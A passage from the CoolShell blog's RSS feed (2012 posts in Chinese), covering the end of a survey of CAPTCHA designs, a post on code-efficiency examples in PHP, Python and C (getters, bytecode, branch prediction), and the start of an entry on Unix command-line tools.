src=\"https://coolshell.cn/wp-content/uploads/2012/07/reCAPTCHA.png\" alt=\"\" width=\"255\" height=\"101\" /></p>\n<p>它最近又将增加一项新功能：显示Google地图上的街景地址和名称。这样从地图上的街景中提取街道地址和名称以及交通标志等数据，以完善Google地图上的信息。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-7948\" title=\"recaptcha-map\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg\" alt=\"\" width=\"488\" height=\"237\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg 1017w, https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map-300x145.jpg 300w\" sizes=\"(max-width: 488px) 100vw, 488px\" /></p>\n<h4>Facebook的人脸识别验证码</h4>\n<p>你觉得有创意吗?</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"facebook\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/facebook.jpg\" alt=\"\" width=\"574\" height=\"356\" /></p>\n<h4><a href=\"http://research.microsoft.com/en-us/um/redmond/projects/asirra/\" target=\"_blank\">微软的ASIRRA</a></h4>\n<p style=\"text-align: center;\"><a href=\"http://research.microsoft.com/en-us/um/redmond/projects/asirra/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7935\" title=\"ASIRRA   Microsoft Research\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png\" alt=\"\" width=\"501\" height=\"210\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png 501w, https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research-300x125.png 300w\" sizes=\"(max-width: 501px) 100vw, 501px\" /></a></p>\n<h4><a href=\"http://accessibiliteweb.com/stuff/captcha-slider.html\" target=\"_blank\">DISTCHA</a></h4>\n<p>通过像iPhone/iPad开启时滑动的样式来验证。</p>\n<p style=\"text-align: center;\"><a href=\"http://accessibiliteweb.com/stuff/captcha-slider.html\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7936\" title=\"DISTCHA  - an accessible CAPTCHA slider   v0.2\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png\" alt=\"\" width=\"521\" height=\"271\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png 521w, https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2-300x156.png 300w\" sizes=\"(max-width: 521px) 100vw, 521px\" /></a></p>\n<h4><a title=\"MotionCAPTCHA jQuery plugin\" href=\"http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/\" target=\"_blank\">MotionCAPTCHA</a></h4>\n<p>用鼠标来画个画。</p>\n<p><a href=\"http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7937\" title=\"MotionCAPTCHA - Joss Crowcroft\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png\" alt=\"\" width=\"422\" height=\"305\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png 422w, https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft-300x216.png 300w\" sizes=\"(max-width: 422px) 100vw, 422px\" /></a></p>\n<h4><a href=\"http://sitehelp.com.au/demos/dragcaptcha.php\" target=\"_blank\">siteHelp的DragCapCha</a></h4>\n<p>为下面的字母排个序吧</p>\n<p><a href=\"http://sitehelp.com.au/demos/dragcaptcha.php\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7938\" title=\"Site Help - DragCaptcha\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png\" alt=\"\" width=\"590\" height=\"186\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png 590w, https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha-300x94.png 300w\" sizes=\"(max-width: 590px) 100vw, 590px\" /></a></p>\n<h4>jQuery 验证码插件</h4>\n<h5><a href=\"http://serie3.info/s3capcha/demonstration.php\" target=\"_blank\">jQuery s3Capcha 插件</a></h5>\n<p><a href=\"http://serie3.info/s3capcha/demonstration.php\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7939\" title=\"s3Capcha jQuery plugin\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png\" alt=\"\" width=\"346\" height=\"163\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin-300x141.png 300w\" sizes=\"(max-width: 346px) 100vw, 346px\" /></a></p>\n<h5><a href=\"http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin\" target=\"_blank\">Ajax Fancy Captcha</a></h5>\n<p>和上面那个不一样，这个需要拖动</p>\n<p><a href=\"http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7940\" title=\"Ajax Fancy Captcha   jQuery plugin\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png\" alt=\"\" width=\"342\" height=\"132\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png 342w, https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin-300x115.png 300w\" sizes=\"(max-width: 342px) 100vw, 342px\" /></a></p>\n<h5><a href=\"http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/\" target=\"_blank\">wCaptcha</a></h5>\n<p>和上面的很相似。</p>\n<p><a href=\"http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7943\" title=\"wcaptcha\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png\" alt=\"\" width=\"332\" height=\"127\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png 332w, https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1-300x114.png 300w\" sizes=\"(max-width: 332px) 100vw, 332px\" /></a></p>\n<h4><a href=\"http://www.picatcha.com/captcha/\" target=\"_blank\">Picatcha</a></h4>\n<p>挑出所有的计算器</p>\n<p><a href=\"http://www.picatcha.com/captcha/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7941\" title=\"PICATCHA\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png\" alt=\"\" width=\"366\" height=\"307\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png 366w, https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA-300x251.png 300w\" sizes=\"(max-width: 366px) 100vw, 366px\" /></a></p>\n<h4><a href=\"http://yocaptcha.com/\" target=\"_blank\">yoCaptcha</a></h4>\n<p>广告式的验证码</p>\n<p><a href=\"http://yocaptcha.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7942\" title=\"yoCaptcha\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png\" alt=\"\" width=\"346\" height=\"239\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha-300x207.png 300w\" sizes=\"(max-width: 346px) 100vw, 346px\" /></a></p>\n<h4>W3C的建议</h4>\n<p>W3C的这篇文章（<a href=\"http://www.w3.org/TR/turingtest/\">http://www.w3.org/TR/turingtest/</a>）表达了传统的验证码图片的Inaccessibility的问题，而且一些验证码都很容易被破解。如：</p>\n<ul>\n<li><a href=\"http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha\">aiCaptcha: Using AI to beat CAPTCHA and post comment spam</a></li>\n<li><a href=\"http://www.cs.berkeley.edu/~mori/gimpy/gimpy.html\">Breaking CAPTCHAs Without Using OCR</a></li>\n<li><a href=\"http://sam.zoy.org/pwntcha/\">PWNtcha &#8211; CAPTCHA decoder</a></li>\n</ul>\n<p>W3C也给了一些解决方案：</p>\n<ul>\n<li>一些逻辑题或是智力题。</li>\n<li>声音输出，为了照顾残疾人。 <a href=\"http://news.com.com/2100-1032-1022814.html\">Spam-bot tests flunk the blind</a></li>\n<li>限制帐号的操作次数。</li>\n<li>使用现有的Spam检测机制。如：酷壳（Coolshell.cn）的评论没有验证码，垃圾评论完全靠<a href=\"http://akismet.com/\" target=\"_blank\">Akismet</a> 插件过滤。</li>\n</ul>\n<p>建议你移步去看看这篇文章。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3277.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"超强的验证码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3277.html\" class=\"wp_rp_title\">超强的验证码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7917.html\">各式各样的验证码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7917.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>64</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>代码执行的效率</title>\n\t\t<link>https://coolshell.cn/articles/7886.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7886.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 13 Jul 2012 00:18:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Compiler]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7886</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在《性能调优攻略》里，我说过，要调优性需要找到程序中的Hotspot，也就是被调用最多的地方，这种地方，只要你能优化一点点，你的性能就会有质的提高。在这里我给大...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7886.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在《<a title=\"性能调优攻略\" href=\"https://coolshell.cn/articles/7490.html\" target=\"_blank\">性能调优攻略</a>》里，我说过，要调优性需要找到程序中的Hotspot，也就是被调用最多的地方，这种地方，只要你能优化一点点，你的性能就会有质的提高。在这里我给大家举三个关于代码执行效率的例子（它们都来自于网上）</p>\n<h4><strong>第一个例子</strong></h4>\n<p><strong> PHP中Getter和Setter的效率</strong>（<a href=\"http://www.reddit.com/r/programming/comments/wdsgn/today_i_learned_that_creating_getters_setters_in/\" target=\"_blank\">来源reddit</a>）</p>\n<p>这个例子比较简单，你可以跳过。</p>\n<p>考虑下面的PHP代码：我们可看到，使用Getter/Setter的方式，性能要比直接读写成员变量要差一倍以上。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">&lt;?php\n\t//dog_naive.php\n\n\tclass dog {\n\t\tpublic $name = &quot;&quot;;\n\t\tpublic function setName($name) {\n\t\t\t$this-&amp;gt;name = $name;\n\t\t}\n\t\tpublic function getName() {\n\t\t\treturn $this-&amp;gt;name;\n\t\t}\n\t}\n\n\t$rover = new dog();\n        //通过Getter/Setter方式\n\tfor ($x=0; $x&lt;10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor ($i=0; $i&lt;1000000; $i++) {\n\t\t\t$rover-&gt;setName(&quot;rover&quot;);\n\t\t\t$n = $rover-&gt;getName();\n\t\t}\n\t\techo microtime(true) - $t;\n\t\techo &quot;\\n&quot;;\n\t}\n        //直接存取变量方式\n        for ($x=0; $x&lt;10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor($i=0; $i&lt;1000000; $i++) {\n\t\t\t$rover-&gt;name = &quot;rover&quot;;\n\t\t\t$n = $rover-&gt;name;\n\t\t}\n\t\techo microtime(true) - $t;\n\t\techo &quot;\\n&quot;;\n\t}\n?&gt;</pre>\n<p>这个并没有什么稀，因为有函数调用的开销，函数调用需要压栈出栈，需要传值，有时还要需要中断，要干的事太多了。所以，代码多了，效率自然就慢了。所有的语言都这个德行，这就是为什么C++要引入inline的原因。而且Java在打开优化的时候也可以优化之。但是对于动态语言来说，这个事就变得有点困难了。</p>\n<p><span id=\"more-7886\"></span></p>\n<p>你可能会以为使用下面的代码（Magic Function）会好一些，但实际其性能更差。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">class dog {\n\tprivate $_name = &quot;&quot;;\n\tfunction __set($property,$value) {\n\t\tif($property == &#039;name&#039;) $this-&gt;_name = $value;\n\t}\n\tfunction __get($property) {\n\t\tif($property == &#039;name&#039;) return $this-&gt;_name;\n\t}\n}</pre>\n<p>动态语言的效率从来都是一个问题，如果你需要PHP有更好的性能，你可能需要使用<a href=\"https://github.com/facebook/hiphop-php\" target=\"_blank\">FaceBook的HipHop</a>来把PHP编译成C语言。</p>\n<h4><strong>第二个例子</strong></h4>\n<p><strong>为什么Python程序在函数内执行得更快？</strong>（<a href=\"http://stackoverflow.com/questions/11241523/why-does-python-code-run-faster-in-a-function\" target=\"_blank\">来源StackOverflow</a>）</p>\n<p>考虑下面的代码，一个在函数体内，一个是全局的代码。</p>\n<p>函数内的代码执行效率为 1.8s</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">def main():\n    for i in xrange(10**8):\n        pass\nmain()</pre>\n<p>函数体外的代码执行效率为 4.5s</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">for i in xrange(10**8):\n    pass</pre>\n<p>不用太纠结时间，只是一个示例，我们可以看到效率查得很多。为什么会这样呢？我们使用 <a href=\"http://docs.python.org/library/dis.html\" target=\"_blank\"><code>dis</code> module</a> 反汇编函数体内的bytecode 代码，使用 <a href=\"http://docs.python.org/library/functions.html#compile\" target=\"_blank\"><code>compile</code> builtin</a> 反汇编全局bytecode，我们可以看到下面的反汇编（注意我高亮的地方）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"2\">\n13 FOR_ITER                 6 (to 22)\n16 STORE_FAST               1 (i)\n19 JUMP_ABSOLUTE           13</pre>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"2\">\n13 FOR_ITER                 6 (to 22)\n16 STORE_NAME               1 (i)\n19 JUMP_ABSOLUTE           13</pre>\n<p>我们可以看到，差别就是 <a href=\"http://docs.python.org/library/dis.html#opcode-STORE_FAST\" target=\"_blank\"><code>STORE_FAST</code></a> 和 <code><a href=\"http://docs.python.org/library/dis.html#opcode-STORE_NAME\" target=\"_blank\">STORE_NAME</a>，前者比后者快很多。所以，在全局代码中，变量i成了一个全局变量，而函数中的i是放在本地变量表中，所以在全局变量表中查找变量就慢很多。如果你在main函数中声明global i 那么效率也就下来了。</code>原因是，本地变量是存在一个数组中（直到），用一个整型常量去访问，而全局变量存在一个dictionary中，查询很慢。</p>\n<p><code>（注：在</code>C/C++中，这个不是一个问题）</p>\n<h4><strong>第三个例子</strong></h4>\n<p><strong> 为什么排好序的数据在遍历时会更快？</strong>（<a href=\"http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array\" target=\"_blank\">来源StackOverflow</a>）</p>\n<p>参看如下C/C++的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\"> for (unsigned i = 0; i &lt; 100000; ++i) {\n   // primary loop\n    for (unsigned j = 0; j &lt; arraySize; ++j) {\n        if (data[j] &gt;= 128)\n            sum += data[j];\n    }\n}</pre>\n<p>如果你的data数组是排好序的，那么性能是1.93s，如果没有排序，性能为11.54秒。差5倍多。无论是C/C++/Java，或是别的什么语言都基本上一样。</p>\n<p>这个问题的原因是——<strong> <a href=\"http://en.wikipedia.org/wiki/Branch_predictor\">branch prediction</a> （分支预判）</strong>伟大的stackoverflow给了一个非常不错的解释。</p>\n<p>考虑我们一个铁路分叉，当我们的列车来的时候， 扳道员知道分个分叉通往哪，但不知道这个列车要去哪儿，司机知道要去哪，但是不知道走哪条分叉。所以，我们需要让列车停下来，然后司机和扳道员沟通一下。这样的性能太差了。</p>\n<p>所以，我们可以优化一下，那就是猜，我们至少有50%的概率猜对，如果猜对了，火车行驶性能巨高，猜错了，就得让火车退回来。如果我猜对的概率高，那么，我们的性能就会高，否则老是猜错了，性能就很差。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7893\" title=\"muxnt\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt.jpg\" alt=\"\" width=\"440\" height=\"330\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt.jpg 440w, https://coolshell.cn/wp-content/uploads/2012/07/muxnt-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/07/muxnt-360x270.jpg 360w\" sizes=\"(max-width: 440px) 100vw, 440px\" /></p>\n<p style=\"text-align: center;\">Image by Mecanismo, from Wikimedia Commons:<a href=\"http://commons.wikimedia.org/wiki/File:Entroncamento_do_Transpraia.JPG\">http://commons.wikimedia.org/wiki/File:Entroncamento_do_Transpraia.JPG</a></p>\n<p>我们的if-else 就像这个铁路分叉一样，下面红箭头所指的就是搬道器。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7892\" title=\"pyfwC\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/pyfwC.png\" alt=\"\" width=\"567\" height=\"91\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/pyfwC.png 567w, https://coolshell.cn/wp-content/uploads/2012/07/pyfwC-300x48.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" /></p>\n<p>那么，我们的搬道器是怎么预判的呢？就是使用过去的历史数据，如果历史数据有90%以上的走左边，那么就走左边。所以，我们排好序的数据就更容易猜得对。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">T = 走分支（条件表达式为true）\nN = 不走分支(条件表达式为false)\n\ndata[] = 0, 1, 2, 3, 4, ... 126, 127, 128, 129, 130, ... 250, 251, 252, ...\nbranch = N  N  N  N  N  ...   N    N    T    T    T  ...   T    T    T  ...\n\n= NNNNNNNNNNNN ... NNNNNNNTTTTTTTTT ... TTTTTTTTTT  (easy to predict)</pre>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">data[] = 226, 185, 125, 158, 198, 144, 217, 79, 202, 118,  14, 150, 177, 182, 133, ...\nbranch =   T,   T,   N,   T,   T,   T,   T,  N,   T,   N,   N,   T,   T,   T,   N  ...\n\n= TTNTTTTNTNNTTTN ...   (completely random - hard to predict)</pre>\n<p>从上面我们可以看到，排好序的数据更容易预测分支。</p>\n<p>对此，那我们怎么办？我们需要在这种循环中除去if-else语句。比如：</p>\n<p>我们把条件语句：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if (data[j] &gt;= 128)\nsum += data[j];\n</pre>\n<p>变成：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int t = (data[j] - 128) &gt;&gt; 31;\nsum += ~t &amp; data[j];</pre>\n<p>“没有分叉”的性能基本上和“排好序有分支”一个样，无论是C/C++，还是Java。</p>\n<blockquote><p><strong>注：</strong>在GCC下，如果你使用 <code>-O3</code> or <code>-ftree-vectorize</code> 编译参数，GCC会帮你优化分叉语句为无分叉语句。VC++2010没有这个功能。</p></blockquote>\n<p><strong>最后，推荐大家一个网站——<a href=\"https://developers.google.com/speed/\" target=\"_blank\">Google Speed</a>，网站上的有一些教程告诉你<a href=\"https://developers.google.com/speed/articles/\" target=\"_blank\">如何写出更快的Web程序</a>。</strong></p>\n<p><strong></strong>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7886.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>28个Unix/Linux的命令行神器</title>\n\t\t<link>https://coolshell.cn/articles/7829.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7829.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 11 Jul 2012 00:10:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[CLI]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[rsync]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7829</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是Kristóf Kovács收集的28个Unix/Linux下的28个命令行下的工具（原文链接），有一些是大家熟悉的，有一些是非常有用的，有一些是不为人知...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7829.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是<a href=\"http://kkovacs.eu/\" target=\"_blank\">Kristóf Kovács</a>收集的28个Unix/Linux下的28个命令行下的工具（<a href=\"http://kkovacs.eu/cool-but-obscure-unix-tools\" target=\"_blank\">原文链接</a>），有一些是大家熟悉的，有一些是非常有用的，有一些是不为人知的。这些工具都非常不错，希望每个人都知道。本篇文章还在<a href=\"http://news.ycombinator.com/item?id=2567186\" target=\"_blank\">Hacker News上被讨论</a>，你可以过去看看。我以作者的原文中加入了官网链接和一些说明。</p>\n<div class=\"alpha grid_6\">\n<h4>dstat &amp; sar</h4>\n<p>iostat, vmstat, ifstat 三合一的工具，用来查看系统性能（我在《<a 